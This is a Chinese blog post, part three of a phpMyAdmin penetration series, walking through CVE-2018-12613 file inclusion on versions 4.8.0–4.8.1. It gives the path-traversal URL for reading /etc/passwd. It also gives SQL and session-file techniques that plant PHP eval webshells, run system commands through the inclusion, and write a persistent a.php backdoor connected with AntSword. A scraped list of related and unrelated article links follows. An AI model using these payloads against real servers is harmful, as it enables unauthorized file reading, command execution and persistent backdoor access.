这是phpmyadmin系列渗透思路的第三篇文章,前面一篇文章阐述了通过慢查询日志getshell,本文将通过文件包含漏洞展开讨论
#001 影响版本
Phpmyadmin 4.8.0/4.8.0.1/4.8.1
 
#002 漏洞验证利用
http://www.xxx.com/index.php?target=db_sql.php%253f/../../../../../../etc/passwd
成功读取到/etc/passwd文件
 
#003 利用此漏洞getshell
思路1:把WebShell写入到数据库中然后包含数据库文件getshell,如果把WebShell当做数据表的字段值是可以完美的写入到数据库文件当中的
 
 
创建完成结果如下
 
2、然后我们需要找到数据库表的文件
show variables like 'datadir'

SELECT @@datadir
文件的路径就是:data路径+数据库名/表名.frm
 
然后包含它就可以,成功包含执行phpifo
index.php?target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/MySQL/data/test/test1.frm
 
 
二、命令执行(注意一句话为GET)
插入:<?php eval($_GET[a]);?>这个字段,然后构造payload:成功执行命令
index.php?a=system("ipconfig");&target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/MySQL/data/test/test2.frm
 
三、进行getshell
ONE:插入数据表getshell
思考过程:以上所说的都是执行的phpinfo,以及get方式执行了命令,无法用蚁剑等工具直接连接shell,所以就想利用文件包含直接生成一个webshell,所以有了以下想法
 
1、我们插入字段的时候,插入这样一句话,包含之后会在当前目录生成一个a.php的webshell
<?php fputs(fopen("a.php","w"),'<?php eval($_POST[a]);?>');?>
 
可以看到,执行成功
 
2、接着上面的,包含test1.frm文件,包含完成,没有任何报错
 
3、接着去看一下是否真的能生成一句话在当前目录,可以看到的确生成了,并且时间是刚刚
 
4、然后直接利用蚁剑连接,ok思路可行,getshell成功
 
 
执行一下命令试试,完全没问题,本次探索很成功!
 
Two:利用session文件getshell
phpmyadmin是默认会把执行的语句,记录在session文件当中的,所以可以包含session文件进行getshell
 
1、首先利用上面得到的phpinfo,查看session文件存放的路径,搜索:save_path,看到是在tmp/tmp目录下
 
2、执行sql语句,语句为生成一句话木马的语句
SELECT `<?php fputs(fopen("a.php","w"),'<?php eval($_POST[a]);?>');?>`;    #注意为反引号
 
 
3、session可以在cookie中找到,例如google的,或者burp抓包都行
 
 
4、然后利用漏洞直接包含session文件,文件名:sess_你的session
index.php?target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/tmp/tmp/sess_a5gbrbj1rr01lpqpi6mkecc1ti1ar692
 
5、然后看当前目录是否生成一句话木马,可以看到又成功生成了,时间是刚刚的
 
6、利用蚁剑连接:成功!
 
这篇文章个人感觉还是可以拓展大家一些思路的,希望大家都能学到一点技巧。

CVE-2018-12613 phpmyadmin文件包含getshell连载(三)的更多相关文章

  1. [原题复现]HCTF 2018 Warmup(文件包含)

    HCTF 2018 Warmup 原题复现:https://gitee.com/xiaohua1998/hctf_2018_warmup 考察知识点:文件包含漏洞(phpmyadmin 4.8.1任意 ...

  2. 通达OA任意文件上传+文件包含GetShell/包含日志文件Getshell

    0x01 简介 通达OA采用基于WEB的企业计算,主HTTP服务器采用了世界上最先进的Apache服务器,性能稳定可靠.数据存取集中控制,避免了数据泄漏的可能.提供数据备份工具,保护系统数据安全.多级 ...

  3. Vulnhub系列:Tomato(文件包含getshell)

    这个靶机挺有意思,它是通过文件包含漏洞进行的getshell,主要姿势是将含有一句话木马的内容记录到ssh的登录日志中,然后利用文件包含漏洞进行包含,从而拿到shell 0x01 靶机信息 靶机:To ...

  4. phpmyadmin系列渗透思路连载(一)

    当拿到phpmyadin的站点后,我一般会尝试一下几种攻击手法: 1.通过弱口令进入后台,尝试into outfile写入一句话 条件:(1)有写的权限    (2)知道web绝对路径    (3)w ...

  5. CVE-2018-12613phpMyAdmin 后台文件包含漏洞分析

    一.    漏洞背景 phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库.借由此Web接口可以成 ...

  6. 文件包含漏洞(RFI)

    1文件包含漏洞简介 include  require  include_once   require_once RFI综述 RFI是Remote File Inclusion的英文缩写,直译过来就是远 ...

  7. ZT 头文件包含其实是一想很烦琐的工作 第一个原则应该是,如果可以不包含头文件

    当出现访问类的函数或者需要确定类大小的时候,才需要用头文件(使用其类定义)    http://blog.csdn.net/clever101/article/details/4751717 看到这个 ...

  8. phpMyAdmin 4.8.x 本地文件包含漏洞利用

    phpMyAdmin 4.8.x 本地文件包含漏洞利用 今天ChaMd5安全团队公开了一个phpMyAdmin最新版中的本地文件包含漏洞:phpmyadmin4.8.1后台getshell.该漏洞利用 ...

  9. phpmyadmin任意文件包含漏洞分析(含演示)

    0x01 漏洞描述 phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发. 最新的CVE-2014-8959公告中,提到该程序多个版本存在任意文件包含漏洞,影响版本如下: ...

随机推荐

  1. Linux系统部署JavaWeb项目(超详细tomcat,nginx,mysql)

    转载自:Linux系统部署JavaWeb项目(超详细tomcat,nginx,mysql) 我的系统是阿里云的,香港的系统,本人选择的是系统镜像:CentOS 7.3 64位. 具体步骤: 配置Jav ...

  2. 第三篇-用Flutter手撸一个抖音国内版,看看有多炫

    前言 前一篇已经开发了大部分框架,包含视频上下滑动播放,这次将上次未完成的数据显示友好显示,以及底部音乐走马灯特效,另外优化了加载数据的bug,在dart语言里 & 会自动变成&  另 ...

  3. java第十三周课后作业 0529

    1.把多个企鹅的信息添加到集合中查看企鹅的数量及所有企鹅的信息删除集合中部分企鹅的元素判断集合中是否包含指定企鹅 package homework; import java.util.ArrayLis ...

  4. java1.8时间处理

    object TimeUtil { var DEFAULT_FORMAT = DateTimeFormatter.ofPattern("yyyyMMddHHmmss") var H ...

  5. leetcode976之三角形最大周长

    题目描述: 给定由一些正数(代表长度)组成的数组 A,返回由其中三个长度组成的.面积不为零的三角形的最大周长. 如果不能形成任何面积不为零的三角形,返回 0. def largePara(A): A. ...

  6. Rocket - debug - TLDebugModuleInner - ROM Generation

    https://mp.weixin.qq.com/s/j_CgHU4PnY82NMwJzOqHYg 简单介绍Variable ROM Generation. 1. jalAbstract jalAbs ...

  7. 【Java面试必备JVM】JVM看这篇就够了

    链接–>JVM

  8. Java实现 蓝桥杯VIP 算法训练 判断字符位置

    判定字符位置 时间限制: 1Sec 内存限制: 128MB 提交: 487 解决: 251 题目描述 返回给定字符串s中元音字母的首次出现位置.英语元音字母只有'a'.'e'.'i'.'o'.'u'五 ...

  9. Java实现 LeetCode 383 赎金信

    383. 赎金信 给定一个赎金信 (ransom) 字符串和一个杂志(magazine)字符串,判断第一个字符串ransom能不能由第二个字符串magazines里面的字符构成.如果可以构成,返回 t ...

  10. Java实现蓝桥杯算法提高12-2扑克排序

    扑克牌排序 问题描述 扑克牌排序:构造扑克牌数组,对扑克牌进行排序. 排序原则如下:数字从小到大是2-10.J.Q.K和A,花色从小到大是方块(diamond).梅花(club).红桃(heart). ...